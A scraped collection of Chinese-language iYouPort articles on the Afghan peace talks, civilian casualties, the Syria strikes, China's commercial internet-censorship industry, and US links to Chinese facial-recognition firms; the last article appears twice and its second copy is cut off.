由于美国的军事存在，首都仍然由加尼控制。随着美国和北约部队逐渐退出阿富汗，塔利班已经获得了实力。美国试图训练阿富汗军队并用现代武器武装它，但并没有成功地将其变成一支能够保卫国家的强大战斗力量。

如果加尼政府拒绝让哈利勒扎德在多哈达成协议，这相当于华盛顿政治投降于它已经打了17年的敌人，美国选民很可能会要求他们现任和前任政府解释在长期致命的战争中失去的6000多名美国人的生命，这场战争未能产生任何政治或战略收益。

如果喀布尔的领导人不在谈判中，那么塔利班的权威是不可避免的。如果没有政府的参与，加尼在实施最终解决方案和制定的权力分享安排方面没有发言权。此外，一旦美国军队离开阿富汗，这将成为塔利班自动当选的机会。

塔利班领导人已经在讨论他们未来的计划。他们将是一个伊斯兰国家，但他们的语气有所缓和，不希望重新唤起在1996年到2001年创造的意识形态。然而，他们极端主义的反女性和反文化立场以及好战的态度引起了诸多怀疑。

他们还承诺与伊斯兰堡建立亲切和友好的关系。这是可以预料的。毕竟，巴基斯坦一直是朋友，为他们提供支持，帮助他们摆脱孤立。华盛顿承认伊斯兰堡为多哈谈判铺平道路的作用。

这些事态发展对巴基斯坦的地缘政治前景产生了深远影响，目前看来这些前景黯淡无光。塔利班的政策必将引起巴基斯坦北部竞争对手的

反应。

首先，人们担心，一旦美国离开阿富汗，内战就会爆发，让巴基斯坦应对必将留下的混乱局面。那之前已经发生过，而且会再次发生。巴基斯坦缺乏应对随之而来的危机的能力。这可能会使事态进一步复杂化。如果没有制定具有坚定国际担保的协议，美国退出将产生权力真空。

巴基斯坦将恢复原状—并且是一个比以往更糟糕的状况。今天出现的局势是俄罗斯和中国一直在密切关注阿富汗的事态发展。

自2014年以来，已经成立了各种论坛来解决阿富汗危机，包括俄罗斯、中国、塔利班、阿什拉夫加尼的竞争对手、印度、巴基斯坦、伊朗甚至美国本身的各种组合。是特朗普关于退出阿富汗的明确宣言，引发了多哈框架，该框架通过将哈利勒扎德纳入谈判进程而得到巩固。

甚至在第三轮谈判于3月12日结束之前，世界又面临着另一场严重的危机。印度和巴基斯坦走上了克什米尔战争的边缘。考虑到这两个国家现在是核大国，它们之间的全面战争将有可能导致南亚的核浩劫。

驻巴基斯坦前美国大使雪莉·拉赫曼在黎明报发表的一篇文章中提醒读者，在印度和巴基斯坦自1947年以来的四场战争中，共死亡人数为22,600人。

她引用国际预防核战争专家的一项研究表明，在南亚的核对抗中，有2100万人可能死亡，并可能因此导致全球饥荒，届时可能会有20亿人死亡。

拉赫曼的文章强有力地提醒人们，克什米尔重新成为一个不容忽视的危险爆发点。

在这个阶段，克什米尔将在多哈会谈中投下长长的阴影。虽然这两个核大国都不是阿富汗谈判中的对话者，但克什米尔仍将继续存在。自1947年英国人离开次大陆以来，阿富汗、印度和巴基斯坦有着复杂的三角关系。

以上是上个月该地区发生的事。当哈利勒扎德在3月底返回卡塔尔时，幕后的事肯定会对多哈谈判产生影响。

The Taliban Is Ascendant as Afghanistan Hangs in the Balance. If the Ghani government is sidelined to allow Khalilzad to make a deal

in Doha, it would amount to Washington's political surrender to an enemy it has fought for 17 years.

原文

联合国：亲政府部队比武装团体杀死了更多的平民 - iYouPort

中东和北非

联合国的一份新报告称，包括北约在内的国际部队和阿富汗部队在今年头三个月的时间里杀死的平民数量超过了塔利班和其他武装团体。

根据联合国阿富汗援助团（UNAMA)）周三公布的调查结果显示，1月至3月期间至少有305名平民被亲政府军所杀害，占该时期所有死亡人数的52.5%。

“与去年同期相比，平民伤亡人数减少了23%，是自2013年以来第一季度最低，”联合国报告称。

这一减少主要是由于自杀式简易爆炸装置（IED）袭击造成的死伤人数减少，部分原因可能是冬季严寒。

报告称，目前尚不清楚平民伤亡人数的减少是否受到冲突各方为更好地保护平民所采取的任何措施的影响（如果有的话），或冲突各方之间正在进行的谈判是否会形成影响。

‘有罪不罚’

然而，亲政府部队所造成的伤亡人数共计**608**人（**305**人死亡，**303**人受伤），比去年同期增加了**39**%。

该报告指出，搜索行动造成的伤亡人数急剧上升，尤其是阿富汗情报部门特别部队或 Khost 保护部队所造成的伤亡，两者均得到了国际部队的支持，这些部队“似乎不受政府指挥的约束，逍遥法外”。

国际部队的空袭行动造成了140人死亡。

阿富汗部队的空袭、地面交战和搜查行动是亲政府成员造成平民伤亡的另一部分原因。

美军在阿富汗的发言人 Dave Butler 上校回应报道说：“我们保留我们

的部队以及阿富汗安全部队的自卫权。结束非战斗人员苦难的最好方法就是结束战斗。同意减少各方的暴力行为。“

联合国报告还说，塔利班和其他武装团体造成了至少227名平民死亡和736名平民受伤，占所有伤亡人数的54.3%。

亲政府部队一直在努力打击该集团，该集团占据了该国近一半的地位。

平民一再陷入这场冲突的中心，联合国统计数据显示，过去10年中有32,000多人死亡，6万人受伤。

根据联合国的数据，去年对于平民来说是最致命的，自2009年以来，联合国一直在编制有关阿富汗平民伤亡的统计数据。

“不仅仅是我的家人”

今年2月，数百名阿富汗人在该国南部赫尔曼德省举行抗议，此前至少有9名平民，其中包括妇女和儿童，在一场政府军针对塔利班所谓“藏身之处”的袭击行动中丧生。

与此同时，去年9月，Masih Rahman 的12名家人 —— 他的妻子、4个女儿、3个儿子和4个侄子 —— 在阿富汗中部 Maidan Wardak 省的一次空袭中被杀死，他的家被夷为平地。

Rahman 说：“不仅仅是我的家人，还有像我一样的数十个家庭在爆炸中丧生。”

他向联合国寻求补救，并已将他的案件提交给阿富汗独立人权委员会，该委员会周二公布了自己的平民伤亡统计报告。

在报告中，该委员会表示，在2018年3月31日至今年3月31日的一年期间，就有**11,212**名平民遭受伤害。

该委员会说，在过去十年中至少有**75,316**名阿富汗平民被杀。

“每天都有令人震惊的平民死亡和致残案例，”联合国秘书长阿富汗问题特别代表 Tadamichi Yamamoto 说。

他还说，塔利班和其他武装团体需要停止故意以平民为目标的攻击行为，并敦促亲政府部队“立即采取措施，以减轻由于空袭和搜查行动造成的死亡和痛苦”。

为什么会“故意以平民为目标”？在这里可以找到答案：《老布什不是你认识的那个人》

Afghan and international forces, including NATO, killed more civilians in the first three months of this year than the Taliban and fighters from other armed groups, a new UN report has said.

原文

试图令阿萨德下台的不是美国，而是2011年参加抗议的叙利亚人民 - iYouPort

中东和北非

人权观察员：亲爱的修正主义史学家们，试图令阿萨德下台的不是美国，而是2011年参加抗议的叙利亚人民 —— 是阿萨德通过杀害、围攻、拘留和折磨被他认为是对手的平民们。纽约时报：轰炸没有任何改变，在大马士革，数百人表示支持巴沙尔，他的控制权始终没有受到挑战。

「图」

「图」

联合国将继续组织不会带来和平的会谈，安理会阻止流血事件的努力依然意见分裂。俄克拉荷马大学中东研究中心主任 Joshua Landis 说："你不是在惩罚阿萨德，你是在惩罚可怜的叙利亚人民。如果美国的目标是反恐，稳定和难民回归，所有这些都将失败。"

特朗普下令星期六与英国和法国一起进行攻击，以惩罚一周前在杜马发生的化学武器袭击。袭击并不是要推翻阿萨德、破坏支持其部队的俄罗斯和伊朗盟友，或保护平民免遭暴力，事实上他们已经经过精心策划和执行，以避免改变冲突的整体动态，防止美国被拖入更深。

这让阿萨德的敌人感到沮丧。

"美国的攻击并没有改变叙利亚人遭遇的任何，他们没有改变任何事"，来自杜马的反政府活动家 Osama Shoghari 说，他正努力在距离他家180英里的陌生小镇开始新的生活。

如果此次攻击发出的主要信息是阿萨德不能使用化学武器，那么次要的信息就是西方要让他掌权，不管他做了什么。

"Even if this is a chemical weapons deterrent, that leaves a whole arsenal of conventional means with which people can be killed in

Syria with few real repercussions," said Sam Heller, a senior analyst who studies Syria at the International Crisis Group. "There is every reason to expect that that will continue."

世界大国之间发生了七年的冲突，土耳其人管理着北方的城镇，美国与东部的库尔德人领导的民兵组织合作，俄罗斯和伊朗帮助阿萨德击败其他地方的叛乱。

在这一点上，似乎没人能有一个现实的计划来促成这些力量之间的持久和平，这些力量将使叙利亚再次凝聚在一起，以足够稳定的方式让数百万难民返回家园重建。

"在我看来，这是非常短视和错误的，帮助阿萨德赢得胜利确保叙利亚仍然是该地区不稳定的中心。"

贝鲁特卡内基中东中心主任 Maha Yahya 说。该中心的研究发现，如果阿萨德继续执政，将会阻止在邻国和欧洲避难的叙利亚难民回归，"只要阿萨德继续执政，他们就不会回去，因为他们不相信阿萨德会给叙利亚带来安全和稳定，"Yahya 说。

她说，唯一的解决办法是俄罗斯和美国之间的一个解决办法，即土耳其和伊朗等其他大国最终可能被带入。但达成这样的协议需要特朗普政府不感兴趣的外交努力。

在宣布星期六的攻击之后，特朗普对美国实现中东变革的能力持悲观态度。"没有多少美国人的血或财富可以在中东地区产生持久的和平与安全，"他说，"这是一个麻烦的地方。我们会努力使它变得更好，但它是一个烦人的地方。"

特朗普建议阿拉伯盟友可以发挥更大的作用，提到沙特阿拉伯，阿联酋，埃及和卡塔尔。但前两位在也门的战争中陷入困境，第三位与第四位在一场激烈的争执中陷入困境，这使得他们不清楚将如何共同修复叙利亚。

在发动攻击之前，特朗普冻结了为叙利亚提供稳定援助的 2 亿美元，并表示他想将现在在叙利亚东部的大约 2000 名美军士兵带回家。

除了与一个被称为叙利亚民主力量的库尔德人领导的民兵组织合作打击伊斯兰国外，美国正在帮助恢复最近从圣战分子手中夺回的拉卡等地区。

原文

中国的互联网维稳产业：谁将成为唯一的失败者？ - iYouPort

作恶者：谁在帮中国关于中国社会

互联网控制的产业化不可避免地意味着中国异议人士的崭露头角表现已经过早地转变成了可被当局控制的信息流

「图」

「图」

在过去十年中，互联网在中国的影响力已经迅速扩大。中国互联网络信息中心最近发布的一份报告显示，2018 年中国互联网用户数已达8亿（占中国人口的 60%），超过了整个欧洲的人口。

该报告强调，超过 70% 的中国网民使用互联网进行购物和娱乐。然而，另一个数字也值得关注：超过 50% 的中国网民使用互联网获取政府服务。

从这个意义上说，互联网不仅影响了当代中国社会的经济，也影响了当今中国人的政治生活。

互联网的政治影响是社会科学的热门话题。美国学者 Larry Dimond 很久以前认为“互联网是一种解放技术，因为它使公民能够表达意见，动员抗议，扩大自由的视野”。在过去十年中，阿拉伯之春和占领运动等著名的抗议活动表明，互联网平台（如 Twitter 或 Facebook）在传播信息和激发公众情绪方面发挥着关键作用，这两者对于成功动员来说都是有积极意义的。

中国也发生了类似的现象。社会学家 Yang Guobing 称，自20世纪90年代中期以来，互联网彻底改变了民众的表达方式，使中国网民能够以前所未有的方式组织、抗议和影响舆论。例如，今天的中国工人知道如何使用互联网记录和分享他们的罢工经历，普通公民现在依靠微博来揭露地方官员的不端行为。虽然中国的网络空间仍然受到国家的严格控制，但不可否认的是，中国人正在积极利用互联网表达异议。

国家复原力

不过要知道，尽管互联网的扩张赋予了中国公民更多的公共动员和政治参与的渠道，但是并没有互联网驱动的抗议活动能做到明显破坏该国政权的稳定。

人们一致认为，中国仍然是数字时代最具弹性的专制政权之一。中国的党国如何保持稳定，应对新技术的挑战？学术界通过强调中国日益复杂的镇压能力来解释这个问题。

众所周知，中国建立了防火墙以审查在线信息；党国不仅设立官方机构来监控在线信息，还使用法律手段要求互联网内容提供商建立自己的自我审查机制。此外，最近的研究还表明，中国政府正在制作符合自己利益的社交媒体帖子，以进行积极的宣传和舆论操纵。

很明显，面对互联网挑战的中国政府并不是一个被动的防卫者，因为它正在积极地将新技术纳入其镇压的目的。这就是为什么我们听到了如此多悲观的看法，认为互联网只是一个跨越全球的老大哥，是技术压制，而不是什么解放。

但这种转变是如何发生的呢？新技术如何成为了独裁者的武器？——国家通过市场将大数据和新媒体等新数字技术整合到互联网压制的基本配置中。

通过采访中国的前线官员和访问监控机构，你能发现这里存在一个活跃的市场，营利性组织正在销售各种数据产品和相关服务，以帮助政府监控在线信息并操纵互联网讨论。

根据中国政府采购平台发布的历史记录，有400多条招标信息和合同简报涉及互联网控制业务；中国企业信用体系数据显示，900多家公司提供互联网监控服务或拥有互联网监控软件的版权。控制互联网的服务提供商的实际数量可能更大：据产品经理说，有超过 2000 家公司向政府提供各种服务。

简而言之，中国的互联网控制正在成为一个蓬勃发展的行业。

监测互联网为社会维稳

是什么推动了如此大的市场？应考虑客户，特别是政府客户的需求。在2018年的网络安全会议上，中国国家主席习近平表示，中国不能让互联网成为“传播有害信息和煽动谣言”的平台。习的声明表明，中国党国正在加强对互联网的控制，以确保社会和经济的稳定。

事实上，对互联网控制的重视可以追溯到十多年前。2006 年，当中国仍在胡锦涛领导下的时候，中央政府就开始强调收集和分析互联网信息以防止潜在社会抗议的重要性。2014 年，中央网络空间事务委员会获得资助，协调不同的政府机构处理管理互联网相关问题的工作。此前的研究指出，在中国，宣传部门是负责监控互联网信息的主要机构。

宣传部门存在于中央、省、市和地区。每个级别都负责监视其地理辖区内的公众讨论，并且如果未能解决在网络空间被引起重大关注的公共议题危机的话就会受到处罚。

一些活动人士抱怨说，当地的宣传官员通常审查请愿帖，以防止信息的传播，这种情况阻止了更多网民的参与。如果没有更广泛的抗议活动，地方活动家就很难获得更多的公众支持并进行未来的动员。

然而，对于前线官员来说，一个实际问题是传统的人工监视无法让官员有足够的时间来解决互联网信息的快速传播问题。政府对快速收集互联网信息的需求日益增加，这为拥有技术能力的商业公司的参与奠定了基础，这些商业公司可以同时处理大量信息来源。2009 年，当国家发布明确鼓励政府机构将其信息工作外包给私营公司的政策时，互联网监控的产业化获得了当前的行政合法性。

- 关联我们三年前的报告：《“互联网＋”维稳：舆情监控公司去年收入大幅增长》

使用营利机构控制互联网

哪些公司向中国政府机构提供相关服务？换句话说，什么样的组织参与互联网维稳业务？

我将这些代理商称为互联网意见控制公司，因为他们的主要业务是监控、分析和操纵互联网意见的提供。有两种类型的代理商拥有业内最大的市场份额。第一类由技术公司组成。大多数这些公司更愿意称自己为“数据公司”，因为他们认为互联网意见是一种特定类型的文本数据。政府需要对网民对政府的看法进行实时控制，这显然不可能进行人为的监控，工作量太大。于是技术公司依靠其数据处理技术（例如网络爬行和情绪分析）为政府提供面向客户的监控软件。

- 关联：《情感分析：如何在社交网络上抓取并分析大众对某些话题的情绪？》
- 《对特朗普推文的情感分析: Python 🐍》

数据驱动的软件可以帮助政府客户从各种互联网平台（如论坛、博客和其他社交网站）收集新闻、评论和在线讨论。因此，政府官员只需在他们的个人电脑或手机上安装这些软件并设置相关的关键词，就可以很快知道大众的情绪转变、变化趋势和传播舆论轨迹的趋势，所有这些都可以通过以下方式轻松识别：该软件的内置算法。

第二类控制服务提供商是媒体组织。中国媒体经历了市场化改革。尽管“人民日报”和“中国青年报”等官方媒体仍处于国家监督之下，但他们需要通过寻找新的盈利模式来应对市场竞争。互联网的扩张带来了新的商机。

新华社，中国日报，人民日报，中国青年报等媒体机构已经成立了自己的在线意见监管机构，为政府客户提供互联网控制服务。其中，人民网舆情监测室最为知名; 它依赖于人民日报和在线的资源。截至2012年，该业务的收入就已经达到 2900 万美元，是 People Daily Online 的第二大收入来源。

早期，由于媒体公司缺乏足够的技术能力来开发自己的监控软件，他们不得不将数据分析外包给技术公司或大学。然而，现在，他们主要依靠自己的媒体资源和丰富的解释中央政府政策的经验来制作分析报告。此外，媒体机构可以利用其媒体渠道帮助政府客户直接处理掉负面信息并促进积极的政治宣传。

互联网控制的商品化

在这个市场上流行哪些产品或服务？如前所述，监控软件和分析报告是最受欢迎的产品。最近，互联网意见控制公司们又开发了新的数据服务，以使其产品线多样化; 例如，技术公司正在推广“数字评论者”的服务 —— 即水军。该产品依靠云计算的能力，帮助政府自动发布伪造普通人的评论，以提升亲政府信息。销售总监说，这种产品的需求主要来自政治宣传系统和公共安全系统，中央政府对亲政府评论的量化要求是这项业务最直接的推动力。

- 关联：《巨魔崛起：政府资助的网络水军正遍布全球》

此外，媒体机构还为前线监视官员设立了专门的培训计划，帮助他们了解如何使用数据产品有效地监控互联网信息，并为他们提供平台，分享成功消除在线异议的最佳做法。

在中国，删除互联网用户的帖子是政府防止反政府信息传播的常用方法。但是，地方政府只对其管理的网站拥有审查权限。这意味着，与

中央政府相比，地方政府无权直接删除由中国互联网巨头（如新浪、百度和腾讯）运营的最受欢迎网站上发布的信息。

一位受访者说，大多数技术公司与为这些热门网站工作的内容编辑有着密切的业务联系。通过向技术公司付钱，当地官员就可以要求编辑帮助他们删除对政府不利的内容。然而，在 2015 年，中央政府颁布了一项新的法律，使付费删除帖子的服务成为了互联网行业的非法行为。

这样一来就会导致 DDoS（分布式拒绝服务）攻击市场上的另一种受欢迎的产品。在 DDoS 模型中，攻击者（例如，地方政府）使用数字方法淹没目标网站（例如，反政府活动家）。此方法能够有效地关闭目标站点一段时间，并拒绝合法用户的访问。这种攻击在中国并不违法，还能有效地审查内容并起到寒蝉效应。考虑到使用这种方法攻击目标网站并非道德，技术公司不倾向于公开销售此服务，也不会在合同或官方网站上写入这项服务。

市场机制

在数字时代，互联网不仅通过促进在线购物和网上支付，而且通过将数字镇压转变为商人可以赚钱的特殊行业来推动经济。从这个意义上讲，营利性组织融入了国家镇压的配置。尽管互联网具有赋予公民自由表达分歧意见的潜力，但越来越多的证据表明，国家维稳也一直在从数字技术的创新中受益。

市场化是一个关键的过程，使国家能够实现这一点。市场机制是将商业公司的利润动机与政府机构的压制需求联系起来的桥梁。技术公司和媒体组织等营利性组织为政府行为者提供了各种类型的先进数据工具，以限制网络空间的公共讨论。当国家市场合作成为中国互联网控制的新特征时，公民社会在互联网上的空间注定会岌岌可危。

中国和西方：镜像关系

事实上，国家行为者和非国家组织之间的合作不仅是中国治理的主要特征，也同时是西方政治的主要特征。在过去几个月中，围绕着剑桥 Analytica 等数据分析公司收集 Facebook 用户数据的指控已经出现。这场备受争议的合作恐怕并不是唯一一次肮脏的交易。这个西方的例子表明，营利性组织，特别是数据服务提供者的参与正在成为当前民主选举的重要组成部分，关于对选民的操纵。

在某些方面，数据公司的政治参与可以被理解为长期以来在西方民主

中蓬勃发展的政治咨询公司的新变种。然而，中国这样的专制政权的国家市场合作仍然是一种新现象。与互联网控制行业一样，私有化的强制也成为当代威权主义国家的压制性的一部分; 中国、菲律宾和约旦的政府官员有时雇用暴徒、歹徒和其他私人暴力提供者来压制公民并影响国内选举。

日益普遍的国家压制分包的直接后果是，威权政府的财政收入可以直接转化为他们的镇压能力。

活动家反应：反监视策略

虽然技术市场的参与者加强了国家的镇压能力，但活动家们也试图通过开发新的在线动员交流技巧来应对挑战。

人们知道大多数基于数据的监控系统依赖于监控在线帖子或评论中与政府有关的关键词，经验丰富的活动家通常会避免在帖子中直接包含“敏感词”。例如，在大多数在线论坛中，中国领导人的名字通常被认为是敏感词; 包括领导人姓名在内的讨论更容易受到审查。在提到一位特定的政治领导人时，大多数活动家选择在他们的在线讨论中使用缩写或昵称。

另一个有趣的例子来自中国的#MeToo活动。在意识到 MeTooInChina 的标签在微博的在线平台被封锁并且大多数帖子包括诸如“MeToo”之类的敏感词被删除后，活动家开始采用昵称和表情符号作为新的标签来揭露更多的性骚扰。

根据苏黎世大学高级研究员 Meg Jing Zeng 的介绍，因为“米兔”的中文发音听起来像“MeToo”，中国活动家将其用作#MeToo活动的昵称。类似的使用同音字和图像的做法在中国被广泛用作编码语言的一种形式，以避免在网络空间中被审查和监视。

数字时代的新自由主义专制？

回到中国互联网管制的问题，政府部门和营利性数据服务提供商之间的合作意味着中国压制的结构性转变。

正在形成新的国家与非国家机构关系的星图，以建立一种更加网络化和多层次的社会控制模式。这种新模式既增强了当局处理大量在线表达数据的能力，也增加了通过互联网表达不同意见的抗议者的脆弱性。

互联网控制的产业化不可避免地意味着中国异议人士的崭露头角表现

已经过早地转变成了可被当局控制的信息流。当互联网控制成为一门生意有利于权力和资本时，我们需要明确谁将成为唯一的失败者。■

原文

中国的反乌托邦监视国家是美国制造的 - iyouport

作恶者：谁在帮中国

【2020年4月21日存档】并不是谁在“学习”谁，而是合谋。

如今，也许这个标题已经不会再让你感觉奇怪了。IYP有一个栏目：“作恶者 – 谁在帮中国”，其中收录的中国正在使用来压迫人民的监视技术绝大部分都来自美国。

以下是 Jevan Hutson 的文章，他只是从一个角度上解释了这件事。Hutson 是技术政策倡导者和HCI研究员，他的领域是面部识别和AI，于是他从自己的角度进行了一些总结，并发表了意见。

在文章开头，他特别指出：“本文只代表作者的意见，而非美国政府任何机构的意见”。

2019年10月7日，美国商务部将28家中国科技巨头和政府实体列入黑名单，理由是这些公司在“残酷镇压中国少数民族”中发挥的作用。

被禁止的公司中包括该行业领先的人工智能和面部识别技术公司。

面部识别与监控摄像机的镜头、社交媒体上发布的照片、及政府签发的各种证件上的身份照片等海量数据基础设施相结合，无疑会威胁到基本的人身自由，并促进新形式的专制控制和压迫。

媒体经常报道这些新兴技术及其与中国威权监视系统的集成：中国的社会信用体系似乎直接取自美剧《黑镜》；抗议者在香港拆除了面部识别摄像机；对维吾尔族人口的技术型压迫，唤起了人们对集中营恶劣条件的记忆……

⚠这些故事都是真实的。但是，媒体没有说出的是：美国研究人员和组织在其中发挥着积极的共谋作用。

- 不止面部识别，还有DNA监控《美国公司如何帮助中国借助DNA 数据追踪公民》

能够使中国处于反乌托邦监视状态的数字威权主义工具经常都是“美国制造”的。*Snowden* 也漏掉了这点。但显然，他的字数已满。

那些新闻报道只是将中国视为威权主义监视的中心，却忽视了美国政府、私营企业、和学术研究机构，在国内外现代生物识别监视系统的开发和部署中所发挥的工具性作用。

- 《中国的步态识别监视正式铺设：”受美国的启发”》

面部识别起源于美国的计算机科学研究实验室。

情报高级研究计划局（**IARPA**）和美国商务部国家标准与技术研究院（**NIST**）建立数据集，包含基准的面部数据集、举办比赛，并资助研究计划。

- 《技术超级碗CES正在帮助中国监视公司清理形象》

美国科技巨头公司也是这一领域的主要参与者。亚马逊的Rekognition 工具是行业标准。除了自己的商业产品之外，英特尔公司、谷歌和 NVIDIA 还共同资助了OpenFace项目，这是最著名的可公开访问的面部识别软件之一。

- 《数字威权主义的崛起：特朗普的鼓舞和美国盟友的积极》

大学也扮演着重要角色。美国大多数计算机科学高级部门的研究人员都从事计算机视觉研究，其中面部识别是关键要素。

- 《美国高端学者正在帮助中国当局追踪其公民》

一个说明性的例子集中在麻省理工学院（MIT）。麻省理工学院是一家领先的研究机构，以对人工智能的前沿贡献而闻名。从历史上看，麻省理工学院也是美国军事资助的最大接受者之一。

但是，美国政府并不是唯一希望资助麻省理工学院的AI监控研究并从中受益的实体。⚠在新疆提供给政府所谓的 “智能警务” 功能的中国监视公司也在资助**MIT**的**AI**研究。

麻省理工学院于2018年与中国AI巨头和全球面部识别领导者SenseTime 建立了研究合作关系，SenseTime 是美国商务部最近列入

黑名单的公司之一，而 **SenseTime** 正是麻省理工学院人工智能项目的主要资助者。

关于 **SenseTime**（被称为全球最“值钱”的人工智能创业公司之一）：

- 《中国的少数派报告技术又有了新发展》
- 《“人工智能”的中国军事》
- 《还是高堡奇人：中美 1984 在海湾的黑手》
- 《一臂之厉：美国企业正在帮助建立中国的奥威尔国家》
- 《哪家公司正在帮助建立中国的圆形监狱？》
- 《中国版老大哥的世界之旅》

在被列入黑名单之前，SenseTime 在去年早些时候因其与 Leon Technology 在新疆的合资企业而受到批评，该公司在中国新疆的监视项目里仅仅一年就从所谓的“安全”业务中获得了**42%的收入** —— 在新疆针对数百万少数民族人口。

麻省理工学院的 SenseTime 基金得到了被美国商务部列入黑名单的另一家中国监控技术巨头 iFlyTek 大量捐款的支持，而人权观察组织在2017年就表达了对该公司在新疆警方监视计划中收集海量数据的关注。

关于中国监控技术巨头 **iFlyTek**：

- 《中国在西藏构建了强悍的数字隔离墙》
- 《人工智能新冷战—— AI和5G如何变成一场噩梦》

从美国政策的角度来看，使情况更糟的是，与针对维吾尔族种族镇压有关的这些公司的资金已与美国军事机构（如陆军研究实验室和海军研究实验室）的资金集中在一起，用于具体的项目中。

去年十月份被列入黑名单后，麻省理工学院自称 “正在审查” 其与 SenseTime 的关系，但是，此后没有任何后续行动的报道。

麻省理工学院并不是美国机构与协助针对维吾尔族人口镇压的公司有联系的唯一例子，美国政府机构也在其中参与。

伊利诺伊大学厄巴纳-香槟分校计算机科学系的另一个例子表明，美国一家主要情报机构和中国监视公司 **CloudWalk** 共同筹集了资金 —— 这是一家致力于根据表型自动检测维吾尔族和藏族人口的中国科技创业公司。

这些例子说明，美国机构在开发和出口用于压迫维吾尔族人民的强大监视工具方面同谋，这应该引起我们集体的恐惧和愤怒。

但是，如果我们不同时审视美国境内相同技术的部署，这种愤怒是无效的。

许多相同的机构都对面部识别和其他信息技术在我们自己国家内部实现的有组织的系统性压迫负有责任。

国土安全部（DHS）、移民和海关执法局（ICE）、帕兰提尔、和亚马逊合作开发技术，以加强大规模驱逐出境的行为。（CIA是帕兰提尔公司的资助人，也是唯一的客户）

我们自己的政府机构收集了大规模的个人信息（例如车牌）、并收集生物特征信息（例如 指纹、虹膜扫描和面部扫描），以前所未有的速度识别、分类和监视人民。

这些系统使用自动化来加快种族化警察国家的速度和规模，这具有放大受益于此类系统的人的权力、同时又起到了剥夺边缘化群体权利的作用。

从斯诺登（Snowden）曝光的大规模监视、到地方警察的军事化、全国各地政府机构的过失和虐待 —— 导致民权主义者和政策制定者在华盛顿、加利福尼亚、马萨诸塞州和田纳西州通过了严格的地方监视法规，以及国家措施和运动。

- 《警察国家的梦想》
- 《不论政府关闭与否，警察国家都将继续蓬勃发展。还可以怎么办？》
- 《警察如何扼杀我们说实话的权利》

被列入黑名单的中国公司（如果总部设在美国）即使是协助针对移民、黑人活动家、和其他民间活动人士进行监视的情况下，也被视为‘主要创新者’。

亚马逊首席执行官杰夫·贝索斯（Jeff Bezos）最近也不得不承认了面部识别是“经典的军民两用技术”。这应该拉响警报，因为美国军事资金已经与黑名单上从事面部识别的中国公司的资金集中在一起。

但是，仅商务部对该技术本身的规定还远远不够。我们必须停止面部识别技术的研究、开发、采购和部署，因为这些技术令人讨厌，而且国家行为者不适当地使用它们进行监视和征服。

我们必须营造一种环境，在这种环境下，在智力上全社会不宜为面部识别项目做出贡献，在政治上也不应该允许美国政府将有限的财政资源用于这些令人不快的技术。

美国研究资助机构必须放弃面部识别研究，并且必须禁止面部识别技术 —— 即使是美国公司开发的这类技术也一样。〇

China’s Surveillance State is Made-In-the-USA

原文

中国的反乌托邦监视国家是美国制造的 - iYouPort

作恶者：谁在帮中国

并不是谁在“学习”谁，而是合谋

「图」

「图」

如今，也许这个标题已经不会再让你感觉奇怪了。IYP有一个栏目：“作恶者 – 谁在帮中国”，其中收录的中国正在使用来压迫人民的监视技术绝大部分都来自美国。

以下是 Jevan Hutson 的文章，他只是从一个角度上解释了这件事。Hutson 是技术政策倡导者和HCI研究员，他的领域是面部识别和AI，于是他从自己的角度进行了一些总结，并发表了意见。

在文章开头，他特别指出：“本文只代表作者的意见，而非美国政府任何机构的意见”。

2019年10月7日，美国商务部将28家中国科技巨头和政府实体列入黑名单，理由是这些公司在“残酷镇压中国少数民族”中发挥的作用。

被禁止的公司中包括该行业领先的人工智能和面部识别技术公司。

面部识别与监控摄像机的镜头、社交媒体上发布的照片、及政府签发的各种证件上的身份照片等海量数据基础设施相结合，无疑会威胁到基本的人身自由，并促进新形式的专制控制和压迫。

媒体经常报道这些新兴技术及其与中国威权监视系统的集成：中国的社会信用体系似乎直接取自美剧《黑镜》；抗议者在香港拆除了面部识别摄像机；对维吾尔族人口的技术型压迫，唤起了人们对集中营恶劣条件的记忆……

⚠这些故事都是真实的。但是，媒体没有说出的是：美国研究人员和组织在其中发挥着积极的共谋作用。

- 不止面部识别，还有DNA监控《美国公司如何帮助中国借助 DNA 数据追踪公民》

能够使中国处于反乌托邦监视状态的数字威权主义工具经常都是“美国制造”的。

「图」

「图」

Snowden 也漏掉了这点。但显然，他的字数已满。

那些新闻报道只是将中国视为威权主义监视的中心，却忽视了美国政府、私营企业、和学术研究机构，在国内外现代生物识别监视系统的开发和部署中所发挥的工具性作用。

- 《中国的步态识别监视正式铺设：”受美国的启发”》

面部识别起源于美国的计算机科学研究实验室。

情报高级研究计划局（**IARPA**）和美国商务部国家标准与技术研究院（**NIST**）建立数据集，包含基准的面部数据集、举办比赛，并资助研究计划。

- 《技术超级碗CES正在帮助中国监视公司清理形象》

美国科技巨头公司也是这一领域的主要参与者。亚马逊的 Rekognition 工具是行业标准。除了自己的商业产品之外，英特尔公司、谷歌和 NVIDIA 还共同资助了OpenFace项目，这是最著名的可公开访问的面部识别软件之一。

- 《数字威权主义的崛起：特朗普的鼓舞和美国盟友的积极》

大学也扮演着重要角色。美国大多数计算机科学高级部门的研究人员都从事计算机视觉研究，其中面部识别是关键要素。

- 《美国高端学者正在帮助中国当局追踪其公民》

一个说明性的例子集中在麻省理工学院（MIT）。麻省理工学院是一

家领先的研究机构，以对人工智能的前沿贡献而闻名。从历史上看，麻省理工学院也是美国军事资助的最大接受者之一。

但是，美国政府并不是唯一希望资助麻省理工学院的AI监控研究并从中受益的实体。⚠在新疆提供给政府所谓的 “智能警务” 功能的中国监视公司也在资助**MIT**的**AI**研究。

麻省理工学院于2018年与中国AI巨头和全球面部识别领导者 SenseTime 建立了研究合作关系，SenseTime 是美国商务部最近列入黑名单的公司之一，而 **SenseTime** 正是麻省理工学院人工智能项目的"主要资助者"。

关于 **SenseTime**（被称为全球最“值钱”的人工智能创业公司之一）：

- 《中国的少数派报告技术又有了新发展》
- 《“人工智能”的中国军事》
- 《还是高堡奇人：中美 1984 在海湾的黑手》
- 《一臂之厉：美国企业正在帮助建立中国的奥威尔国家》
- 《哪家公司正在帮助建立中国的圆形监狱？》
- 《中国版老大哥的世界之旅》

在被列入黑名单之前，SenseTime 在去年早些时候因其与 Leon Technology 在新疆的合资企业而受到批评，该公司在中国"新疆的监视项目"里仅仅一年就从所谓的“安全”业务中获得了"42%的收入" —— 在新疆针对数百万少数民族人口。

